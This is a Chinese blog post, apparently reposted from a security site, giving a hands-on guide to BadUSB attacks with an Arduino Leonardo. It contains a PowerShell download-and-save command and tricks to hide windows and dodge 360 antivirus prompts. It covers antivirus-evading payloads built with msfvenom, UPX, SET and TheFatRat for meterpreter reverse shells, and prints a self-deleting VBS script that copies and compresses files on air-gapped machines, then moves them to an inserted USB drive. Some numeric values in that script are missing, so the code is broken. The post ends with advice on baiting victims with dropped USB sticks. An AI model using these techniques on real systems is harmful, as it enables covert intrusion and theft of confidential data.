基于ArduinoLeonardo板子的BadUSB攻击实战
0X00 前言
在Freebuf上许多同学已经对HID攻击谈了自己的看法,如维克斯同学的《利用Arduino快速制作Teensy BadUSB》无论从科普还是实践都给我们详尽的描述了BadUSB制作的相关过程,lpcdma同学的《使用arduino进行渗透测试》则通过SET与Arduino的结合进行渗透,mrzcpo同学的 《HID高级攻击姿势:利用PowerShell脚本进行文件窃取》则介绍了获取文件的详细步骤,我在学习领悟之后想到了一些改进方案,比如绕过360主动防御,隐藏攻击行为,payload免杀,针对不联网设备攻击等,现分享如下,如有不足之处还请大佬指教。

(为贴近实战在某宝上买了个带外壳的Leonardo:P)
0X01 绕过360主动防御
输入Powershell命令
powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://127.0.0.1/PUTTY.EXE';$file = ' D:\\x.exe ';$clnt.DownloadFile($url,$file);
这个命令的意思大体是从服务器(这里是本地web服务器)下载EXE到D盘上,但是直接输入360会弹框:

这显然会引起用户注意:-O,而在之前文章中并未提及,可能是在未装杀软的虚拟机中运行的。因为此处不可以通过操控键盘,用先按左键,再按回车的方法实现“允许程序运行”,想到用模拟鼠标的操作完成两次点击,然而比较难以操控,后发现可以通过分步完成绕过:P

注意在实际操作中不要把文件下载到C盘中,那样还需要一个管理员权限,比较麻烦
0X02最大化隐蔽操作
在调出运行窗口后输入
cmd /c start /min powershell -w hidden
/c标明执行玩/c后面的语句后关闭cmd窗口,就不会弹出一个黑框来吓人了,start /min是最小化窗口运行命令,可以避免弹出powershell的蓝框,-w hidden是让powershell以隐蔽的模式运行,此时仍可以输入命令,但不会出现对话框,这样就可以让命令运行尽可能的隐蔽了:P
当然是为了装个小X,做演示的话就可以先不管这些了,不过从实战角度出发,还是低调为妙:P

0X03免杀Payload
在完成了文件下载之后我们就思考如何拿到shell,此时有两种方式
对msf攻击负荷的免杀处理
在Kali2.0里面msfpayload和msfencode合二为一成为了msfvenom(venom:毒液(⊙o⊙))
-p指定负荷类型,后面是参数,-f指定输出格式,-x指定自义定的模板,这里用Putty.exe,-e指定编码格式,-i指定编码次数,-o指定输出位置(msfvenom可能由于集成了两个功能,导致不能多重编码||=_=)

再用upx进行加壳处理,-9指定以最高等级加壳,最低为1

然而还是被干掉了(;′⌒`)但即使用BT5里面带的msfencode进行多次编码也只能过部分杀软,而且一旦木马被收录360云端就永久失效了,我们找一种现在看起来更好的方法:P

SET工具集中的Powershell攻击向量
直接下载msf生成的Payload即使花式编码也难免被高启发、云查杀、沙箱检测等手段干掉,所以通过强大的Powershell来建立反向连接是不错的选择,然而在SET工具包中Arduion-Based Attack Vector还针对的是Teensy,并不能直接在Leonardo上使用,故需通过SET中Powershell Attack Vector来实现目的


然后会打开一个MSF的Reverse_TCP Listener

此时只需要在靶机上运行SET生成的Payload即可(初始生成的是txt,后缀改为bat即可)可以看到打开了一个meterpreter连接:P

TheFatRat
Screetsec组织新出了一个TheFatRat,可以生成免杀的Payload,也是使用的Powershell+bat进行攻击我们来看一下效果:P生成步骤:



生成的test.bat可以过360

同时还能过大多数AV(只有一家报了毒):P

成功打开meterpreter会话:P

尝试后发现[2]Create exe file with c# + Powershell产生的exe文件会在一会后报毒,也许可以用,但还是会引起被控者警觉,看来Powershell,bat这样Windows组件好啊,作为系统组件不可能被查杀;文件小巧而又有底层支持,从而功能强大;驱动脚本非PE从而难以以静态方法查杀;而且大多数Windows电脑并没有禁用Powershell,故成为当今病毒界大红大紫的人物:P
0X04针对不联网设备攻击
我们知道许多机密场合计算机都是不联网的,对此我们只能通过USB带出资料,而可惜的是现有BadUSB设备并无存储功能-_-||(也许可以订制),所以只能通过摆渡攻击实现,第一次导入代码自动搜索想要的文件,打包压缩,并在检测到有U盘插入时将文件传入U盘,此VBS代码在后台运行,等待时机,先用Arduino Leanardo传入代码,再用另一个U盘取出文件。
vbs代码实现如下,主要功能是通过模糊查询找到想要的文件,放到D:\fn(fileneeded)文件夹下,压缩后删除原文件并等待U盘插入,插入后将fn.rar传入U盘并删除目标电脑中的fn.rar和VBS脚本
On Error Resume Next
'查找指定的文件
'纯vbs的话要递归遍历所有文件夹,比较麻烦,可以和cmd结合起来用
targetfile="*flag*.txt" '改成你要找的文件名,进行模糊查询
Set WshShell = WScript.CreateObject("Wscript.Shell")
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
tempfile=WScript.ScriptName&"_temp.txt" '存找到的文件目录的临时文件
wshshell.Run "cmd /c dir d:\"&targetfile&"/b /s>"&tempfile,0,True
Set f=fso.GetFile(tempfile)
If f.Size> Then
'dir找到目标文件时会向tempfile中写入数据,
Set ft=fso.OpenTextFile(tempfile,)
fso.CreateFolder "d:\fn"
Do Until ft.AtEndOfStream '可能会找到多个文件,故需要读每一行的数据
line=ft.ReadLine '读入一行
fso.CopyFile line,"d:\fn\",false
Loop
ft.Close
End If
fso.DeleteFile(tempfile)'删除生成的临时文件
'压缩文件
des="d:\fn.rar"
sou="d:\fn"
WshShell.Run "cd C:\Program Files\WinRAR ",,True
WshShell.Run "winrar m -r -epl -ibck "& Chr()&des&Chr()&" "&Chr()&sou&chr(),,True
' 实现后台压缩完后删除原文件 ,Chr(34)为解决双引号里面套双引号的问题
'检测有无U盘插入并将压缩包发到U盘中
dim dc,d,flag
flag=
do
if flag= then exit do
Set dc = fso.Drives
For Each d in dc
If d.DriveType = Then
If u="" Then
u=d.DriveLetter
add = u&":/"
fso.CopyFile "d:\fn.rar",add,false '复制文件到u盘
flag =
End if
u=""
End if
WScript.Sleep
Next
loop
WScript.Sleep
fso.DeleteFile "d:\fn.rar" '删除压缩包
fso.DeleteFile(WScript.ScriptFullName)'自删除
不过当今各种杀软对VBS脚本是严防死守,很多正常功能都报毒,没有高超的VBS免杀技术恐怕是难以完成了。或许可以寄托于不联网的机器松于防备,没装AV…,不过不联网的电脑多半是放绝密信息的,要是你能偷到就可以吃枪子了||+_+。不知道你下辈子还想不想干黑客,如果可能的话十五年后你又是一条好汉:P
结语
在实战中还可以通过仔细选择USB投掷地点,选择或卡哇伊或猥琐的U盘外壳,或在USB上贴上虚构的联系方式,“捡到请归还”等标签增加迷惑性,总之不要低估人类愚蠢的好奇心就好:P
最后的最后,尽管在《超限战》中说道“一切可以帮助人类的东西皆可加害于人类”,但我更想说的是:反之,亦然 !那些伤害人类的东西会让我们变得更加坚强,愿以此文以攻促防,为网络空间的安全添砖加瓦!
本文存在攻击性,请勿用于非法用途,一切责任与本人无关。
基于ArduinoLeonardo板子的BadUSB攻击实战的更多相关文章
- 8. 博客系统| 富文本编辑框和基于bs4模块防御xss攻击
views.py @login_required def cn_backend(request): article_list = models.Article.objects.filter(user= ...
- 学习参考《Flask Web开发:基于Python的Web应用开发实战(第2版)》中文PDF+源代码
在学习python Web开发时,我们会选择使用Django.flask等框架. 在学习flask时,推荐学习看看<Flask Web开发:基于Python的Web应用开发实战(第2版)> ...
- 基于TC技术的网络流量控制实战
本文转载在:http://server.it168.com/a2010/0426/878/000000878406.shtml 基于TC技术的网络流量控制实战 650) this.width=650; ...
- 数据可视化之powerBI技巧(十一)基于SQL思维的PowerBI DAX实战
本文来自于PowerBI星球嘉宾天行老师的分享,天行老师不仅DAX使用娴熟,更是精通SQL,下面就来欣赏他利用SQL思维编写DAX解决问题的一个实战案例. 基于SQL思维使用DAX解决实战问题 作者: ...
- 基于renren-fast的快速入门项目实战(实现报表增删改查)
基于renren-fast的快速入门项目实战(实现报表增删改查) 说明:renren-fast是一个开源的基于springboot的前后端分离手脚架,当前版本是3.0 官方开发文档需付费,对于新手而言 ...
- 盘它!基于CANN的辅助驾驶AI实战案例,轻松搞定车辆检测和车距计算!
摘要:基于昇腾AI异构计算架构CANN(Compute Architecture for Neural Networks)的简易版辅助驾驶AI应用,具备车辆检测.车距计算等基本功能,作为辅助驾驶入门级 ...
- 针对基于Phison(群联)U盘的BadUSB攻击
修改U盘固件使之在插入电脑时能执行键盘指令.原文和源码在此,粗略翻译了一下.https://github.com/adamcaudill/Psychson 其实还有类似的成品卖,叫做USB Rubbe ...
- Arp攻击实战
hyddd原创,转载请说明出处. 现在网上很多关于ARP攻击的文章,但多数是描述其原理,少数会以某个工具作为例子展开说明,但感觉说的还是不够详细,今天写个文章以实战介绍一个叫"WinArpA ...
- 滥用基于资源约束委派来攻击Active Directory
0x00 前言 早在2018年3月前,我就开始了一场毫无意义的争论,以证明TrustedToAuthForDelegation属性是无意义的,并且可以在没有该属性的情况下实现“协议转换”.我相信,只要 ...
随机推荐
- DRF之视图和router
1. 视图 Django REST framwork 提供的视图的主要作用: 控制序列化器的执行(检验.保存.转换数据) 控制数据库查询的执行 1.1. 请求与响应 1.1.1 Request RES ...
- hashCode会出现负数吗,答案是肯定的
先来普及一下基本数据类型的长度: unsigned int 0-4294967295 int -2147483648-2147483647 unsigned long 0-429496 ...
- Java异常及错误
java提供了两种异常机制,可以分为运行时异常(RuntimeException)与检查式异常(checked Exception). 检查式异常:java编译器对于这种异常需要我们对其用try... ...
- python low版线程池
1.low版线程池设计思路:运用队列queue 将线程类名放入队列中,执行一个就拿一个出来import queueimport threading class ThreadPool(object): ...
- Logstash 基础入门
原文地址:Logstash 基础入门博客地址:http://www.extlight.com 一.前言 Logstash 是一个开源的数据收集引擎,它具有备实时数据传输能力.它可以统一过滤来自不同源的 ...
- Hadoop---静动态增删节点
静动态增删节点 初始: 这是我现在的集群 重新克隆一个虚拟机: hadoop44:datanode(静态增加,删除和动态删除) hadoop55:datanode(动态hdfs添加,yarn动态增删) ...
- PHP闭包函数
# 提到闭包就不得不想起匿名函数,也叫闭包函数(closures),貌似PHP闭包实现主要就是靠它.声明一个匿名函数是这样: $func = function() { }; //带结束符 # 可以看到 ...
- vuex的学习例子
最近在学习vuejs,一直有听说vuex,用来实现多组件共享的一种状态管理模式,但是网上都说,不要为了用vuex而用vuex,大概意思就是尽量少用vuex,一些小项目可以用bus来实现组件之间的传值问 ...
- Java版本知识
1zip是压缩包,而MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据,只要系统中包含win ...
- JavaScipt 中的事件循环(event loop),以及微任务 和宏任务的概念
说事件循环(event loop)之前先要搞清楚几个问题. 1. js为什么是单线程的? 试想一下,如果js不是单线程的,同时有两个方法作用dom,一个删除,一个修改,那么这时候浏览器该听谁的? ...